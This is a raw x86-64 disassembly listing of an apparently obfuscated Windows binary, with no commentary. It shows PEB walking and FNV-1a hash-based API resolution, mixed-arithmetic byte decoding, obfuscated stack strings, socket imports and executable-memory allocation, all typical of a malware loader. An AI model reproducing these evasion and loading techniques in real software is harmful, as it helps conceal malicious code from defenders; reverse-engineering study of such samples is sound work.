sub bl, 0x56
jmp 0x140200376
movabs rdx, 0x42975fc918172492
mov ecx, r15d
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14020032a
movabs rdx, 0x6a2300e75d0cb81e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140200301
movabs rdx, 0xb93a4323e6f7df36
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x7a
add bl, dl
movabs rcx, 0x8b6916692098d156
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x5a
add r9b, cl
mov byte [rbp + r10 + 0x1030], r9b
add r11, r15
sub r10, r15
jmp 0x140200440
movabs rdx, 0x7ef468bb3fc3c0f2
mov ecx, Ordinal_50
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
movabs rcx, 0x63dd754adba33dca
add rcx, r10
mov al, cl
and al, r9b
mov edx, 0x3d
sub dl, al
add dl, dl
add dl, cl
add dl, bl
add dl, r9b
mov byte [rbp + r10 + 0x1030], dl
add rdi, r11
jmp 0x140200376
movabs rcx, 0xce0baaf7c9aee80a
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x46
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x140200440
mov r9, r8
movabs rcx, 0xf5974c160ea47b96
add rcx, r10
and r8b, cl
add r8b, r8b
mov bl, r9b
sub bl, r8b
sub bl, 0x1a
add bl, cl
movabs rdx, 0x3c51d42c96adaa3e
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0x1030], al
add r11, r15
add rax, r11
sub r10, rax
movabs rcx, 0xa88c039d7432e078
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x48
add cl, r9b
mov byte [rbp + r10 + 0x1030], cl
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r10, rax
jmp 0x140200431
movabs rdx, 0x44ae8e52988fa2ae
add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movzx eax, byte [rbp + r10 + 0x1030]
add rax, r11
add r10, rax
add r10, r15
jmp 0x1401ff90f
movabs rdx, 0x3a3aa5a316352c22
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401ff90a
movabs rdx, 0x61c646c15b2abfae
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401ff8fa
lea rdx, [rbp + 0x1407f28]
jmp 0x1402004ad
lea rdx, [rbp + 0x45b562]
jmp 0x1402004ad
lea rdx, [rbp + 0x1030]
mov r9d, 0x40
mov r8, rsi
xor ecx, ecx
call r12
mov rdx, qword [0x14044bb38]
xor eax, eax
test rdx, rdx
jne 0x140200633
mov esi, eax
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
lea r13d, [rdx + 8]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, r13w
mov word [rsp + 0x58], ax
test esi, esi
je 0x14020053a
mov rdx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rdx + rax*2]
mov r9d, 0x811c9dc5
jmp 0x14020052c
movsx eax, byte [rdx]
xor eax, r9d
imul r9d, eax, 0x1000193
add rdx, 2
cmp rdx, r8
jne 0x14020051b
cmp r9d, esi
jne 0x14020061e
mov rdi, qword [rcx + 0x30]
movsxd rax, dword [rdi + 0x3c]
mov rax, qword [rax + rdi + 0x88]
mov r11d, eax
add r11, rdi
shr rax, 0x20
cmp r11, rdi
je 0x14020061e
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x14020061e
mov ebx, dword [r11 + 0x20]
mov r12d, 1
dec r10d
lea r8, [rbx + r10*4]
mov r9d, dword [r8 + rdi]
add r9, rdi
mov r8d, 0x811c9dc5
jmp 0x140200597
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r12
test dl, dl
jne 0x14020058a
cmp r8d, r14d
je 0x1402005ad
test r10d, r10d
jne 0x140200574
jmp 0x14020061e
mov r8d, dword [r11 + 0x1c]
add r8, rdi
mov edx, dword [r11 + 0x24]
add rdx, rdi
movzx edx, word [rdx + r10*2]
mov edx, dword [r8 + rdx*4]
add rdx, rdi
cmp rdx, r11
jbe 0x140200626
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x140200626
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1402005ef
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1402005e1
jmp 0x140200604
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x1402005f7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x1402004ea
mov qword [0x14044bb38], rdx
mov r13d, 0x31a98fee
mov ecx, 0x99
call rdx
mov rbx, qword [0x14044bb78]
xor eax, eax
test rbx, rbx
jne 0x1402007a9
mov esi, eax
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1402006bb
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1402006ad
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14020069c
cmp r8d, esi
jne 0x14020078b
mov rdi, qword [rbx + 0x30]
movsxd rax, dword [rdi + 0x3c]
mov rax, qword [rax + rdi + 0x88]
mov r10d, eax
add r10, rdi
shr rax, 0x20
cmp r10, rdi
je 0x14020078b
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x14020078b
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rdi + r9*4]
mov r8d, dword [rdx + r11]
add r8, rdi
mov edx, 0x811c9dc5
jmp 0x14020070f
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140200704
cmp edx, r14d
je 0x140200725
test r9d, r9d
jne 0x1402006ef
jmp 0x14020078b
mov r8d, dword [r10 + 0x1c]
add r8, rdi
mov edx, dword [r10 + 0x24]
add rdx, rdi
movzx edx, word [rdx + r9*2]
mov ebx, dword [r8 + rdx*4]
add rbx, rdi
cmp rbx, r10
jbe 0x1402007a2
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x1402007a2
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rbx]
cmp al, 0x2e
je 0x14020077f
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, rcx
jmp 0x14020075c
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, rcx
mov al, byte [rbx]
test al, al
jne 0x140200772
mov rbx, qword [r15]
mov rbx, qword [rbx]
xor eax, eax
cmp rbx, r15
je 0x14020079f
cmp qword [rbx + 0x30], rax
jne 0x14020066b
mov rbx, rax
mov qword [0x14044bb78], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x14044bb70]
xor eax, eax
test rdx, rdx
jne 0x140200925
mov esi, eax
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140200837
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140200829
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140200818
cmp r8d, esi
jne 0x140200907
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x140200907
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140200907
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x14020088b
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140200880
cmp edx, r14d
je 0x1402008a1
test r9d, r9d
jne 0x14020086b
jmp 0x140200907
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x14020091e
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14020091e
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x1402008fb
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x1402008d8
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x1402008ee
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x14020091b
cmp qword [rdi + 0x30], rax
jne 0x1402007e7
mov rdx, rax
mov qword [0x14044bb70], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x14044bb68]
xor eax, eax
test rdx, rdx
jne 0x140200a98
mov esi, eax
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1402009aa
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14020099c
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14020098b
cmp r8d, esi
jne 0x140200a7a
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x140200a7a
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140200a7a
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1402009fe
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1402009f3
cmp edx, r14d
je 0x140200a14
test r9d, r9d
jne 0x1402009de
jmp 0x140200a7a
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x140200a91
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x140200a91
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x140200a6e
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x140200a4b
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x140200a61
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x140200a8e
cmp qword [rdi + 0x30], rax
jne 0x14020095a
mov rdx, rax
mov qword [0x14044bb68], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x14044bb60]
xor eax, eax
test rdx, rdx
jne 0x140200c0b
mov esi, eax
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140200b1d
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140200b0f
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140200afe
cmp r8d, esi
jne 0x140200bed
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x140200bed
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140200bed
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x140200b71
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140200b66
cmp edx, r14d
je 0x140200b87
test r9d, r9d
jne 0x140200b51
jmp 0x140200bed
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x140200c04
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140200c04
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x140200be1
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x140200bbe
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x140200bd4
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x140200c01
cmp qword [rdi + 0x30], rax
jne 0x140200acd
mov rdx, rax
mov qword [0x14044bb60], rdx
xor ecx, ecx
call rdx
xor eax, eax
cmp qword [0x14044bb58], rax
jne 0x140200d7d
mov esi, eax
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140200c8d
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140200c7f
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140200c6e
cmp r8d, esi
jne 0x140200d5f
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x140200d5f
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140200d5f
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x140200ce1
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140200cd6
cmp edx, r14d
je 0x140200cf7
test r9d, r9d
jne 0x140200cc1
jmp 0x140200d5f
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, rbx
cmp r9, r10
jbe 0x140200d76
lea rcx, [rax + r10]
cmp r9, rcx
jae 0x140200d76
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r9]
cmp al, 0x2e
je 0x140200d52
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, rcx
jmp 0x140200d2e
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, rcx
mov al, byte [r9]
test al, al
jne 0x140200d45
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x140200d73
cmp qword [rdi + 0x30], rax
jne 0x140200c3d
mov r9, rax
mov qword [0x14044bb58], r9
mov r8, qword [0x14044bb90]
test r8, r8
jne 0x140200df4
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r9, qword [rax]
mov r10, r9
mov rcx, qword [r9 + 0x60]
movzx eax, word [r9 + 0x58]
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
cmp rcx, rdx
je 0x140200dda
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140200dbb
cmp r8d, 0x610c0de3
je 0x140200e4b
mov r9, qword [r9]
xor eax, eax
cmp r9, r10
je 0x140200dea
cmp qword [r9 + 0x30], rax
jne 0x140200da0
mov r8, rax
mov qword [0x14044bb90], r8
movsxd rax, dword [r8 + 0x3c]
mov r11d, dword [rax + r8 + 0x88]
xor eax, eax
mov r9d, eax
mov r10d, dword [r11 + r8 + 0x20]
lea r15d, [rax + 1]
mov eax, r9d
lea rcx, [r10 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, r15
test al, al
je 0x140200e46
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, r15
test al, al
jne 0x140200e2a
cmp ecx, 0xe463da3c
je 0x140200e51
add r9d, r15d
jmp 0x140200e0e
mov r8, qword [r9 + 0x30]
jmp 0x140200ded
mov edx, dword [r11 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r11 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x14044bb88]
xor eax, eax
test r10, r10
jne 0x140200fec
mov esi, eax
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140200ef6
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140200ee8
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140200ed7
cmp r8d, esi
jne 0x140200fc8
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x140200fc8
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140200fc8
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x140200f4a
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140200f3f
cmp edx, r14d
je 0x140200f60
test r9d, r9d
jne 0x140200f2a
jmp 0x140200fc8
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r10d, dword [r8 + rdx*4]
add r10, rbx
cmp r10, r11
jbe 0x140200fdf
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x140200fdf
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x140200fbb
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rdx
jmp 0x140200f97
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rdx
mov al, byte [r10]
test al, al
jne 0x140200fae
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x140200fdc
cmp qword [rdi + 0x30], rax
jne 0x140200ea6
mov r10, rax
mov qword [0x14044bb88], r10
mov r15d, 1
lea r9, [rbp + 0x11ac]
mov r8d, r15d
mov edx, 0x5000
mov rcx, r12
call r10
mov r8, qword [0x14044bb80]
xor eax, eax
test r8, r8
jne 0x140201172
mov esi, eax
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140201082
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140201074
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140201063
cmp r8d, esi
jne 0x140201154
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x140201154
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140201154
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1402010d6
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1402010cb
cmp edx, r14d
je 0x1402010ec
test r9d, r9d
jne 0x1402010b6
jmp 0x140201154
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r8d, dword [r8 + rdx*4]
add r8, rbx
cmp r8, r10
jbe 0x14020116b
lea rcx, [r10 + rax]
cmp r8, rcx
jae 0x14020116b
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edx, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x140201147
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rdx
jmp 0x140201123
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rdx
mov al, byte [r8]
test al, al
jne 0x14020113a
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x140201168
cmp qword [rdi + 0x30], rax
jne 0x140201032
mov r8, rax
mov qword [0x14044bb80], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
lea rcx, [0x14044b4b0]
call fcn.1402682fc
xor ebx, ebx
test eax, eax
jne 0x140203940
mov r12, qword [0x14044bb48]
xor eax, eax
test r12, r12
jne 0x14020130f
mov esi, eax
mov r14d, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14020121d
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14020120f
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1402011fe
cmp r8d, esi
jne 0x1402012f1
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x1402012f1
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1402012f1
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x140201271
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140201266
cmp edx, r14d
je 0x140201287
test r9d, r9d
jne 0x140201251
jmp 0x1402012f1
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r12d, dword [r8 + rdx*4]
add r12, rbx
cmp r12, r10
jbe 0x140201308
lea rcx, [r10 + rax]
cmp r12, rcx
jae 0x140201308
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edx, 1
mov al, byte [r12]
cmp al, 0x2e
je 0x1402012e3
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r12, rdx
jmp 0x1402012be
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r12, rdx
mov al, byte [r12]
test al, al
jne 0x1402012d6
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x140201305
cmp qword [rdi + 0x30], rax
jne 0x1402011cd
mov r12, rax
mov qword [0x14044bb48], r12
mov byte [rbp + 0x440], Ordinal_30
mov byte [rbp + 0x441], 0xa1
mov byte [rbp + 0x442], Ordinal_46
mov byte [rbp + 0x443], 0xa3
mov byte [rbp + 0x444], Ordinal_60
mov byte [rbp + 0x445], 0x9d
mov byte [rbp + 0x446], 3
mov byte [rbp + 0x447], 0x9f
mov byte [rbp + 0x448], ntohl
mov byte [rbp + 0x449], 0x99
mov byte [rbp + 0x44a], Ordinal_60
mov byte [rbp + 0x44b], 0x9b
mov byte [rbp + 0x44c], 0x9a
mov byte [rbp + 0x44d], __WSAFDIsSet
xor eax, eax
mov dword [rbp + 0x44e], eax
mov byte [rbp + 0x452], al
movabs rsi, 0xc31f8f2349af4a9b
mov bl, byte [rsp + 0x50]
call fcn.1402682a8
mov rdi, qword [rax]
call fcn.1402682b0
mov r11, qword [rax]
xor eax, eax
mov r10d, eax
cmp r10, 0x13
jae 0x140201f73
movzx r9d, byte [rbp + r10 + 0x440]
mov r8, r9
cmp rdi, r10
ja 0x140201f6a
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x1402013e3
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, r9
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r9
sub bl, 0x3d
jmp 0x14020141d
je 0x140201ee4
lea rax, [r11 + 2]
cmp rdi, rax
je 0x140201e5a
lea rax, [r11 + 5]
cmp rdi, rax
je 0x140201dff
lea rax, [r11 + 6]
cmp rdi, rax
je 0x140201dd5
lea rax, [r11 + 3]
cmp rdi, rax
je 0x140201dae
cmp r11, r10
ja 0x140201f61
lea rax, [r11 + 6]
cmp rdi, rax
jae 0x14020144f
movabs rdx, 0x196bde50b611eb7
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 1
add bl, dl
jmp 0x140201483
lea rax, [r11 + 1]
cmp rdi, rax
je 0x140201d6b
lea rax, [r11 + 3]
cmp rdi, rax
je 0x140201d49
lea rax, [r11 + 5]
cmp rdi, rax
je 0x140201d27
lea rax, [r11 + 6]
cmp rdi, rax
je 0x140201d05
lea rax, [r11 + rdi]
cmp rax, r10
jbe 0x140201a14
lea rax, [r11 + 8]
cmp rdi, rax
je 0x1402019f2
lea rax, [r11 + 0x3e8]
cmp rdi, rax
je 0x1402019cc
lea rax, [r11 + 0x40]
cmp rdi, rax
je 0x1402019aa
lea rax, [r11 + 0x5a]
cmp rdi, rax
je 0x140201989
lea rax, [r11 + 0x400]
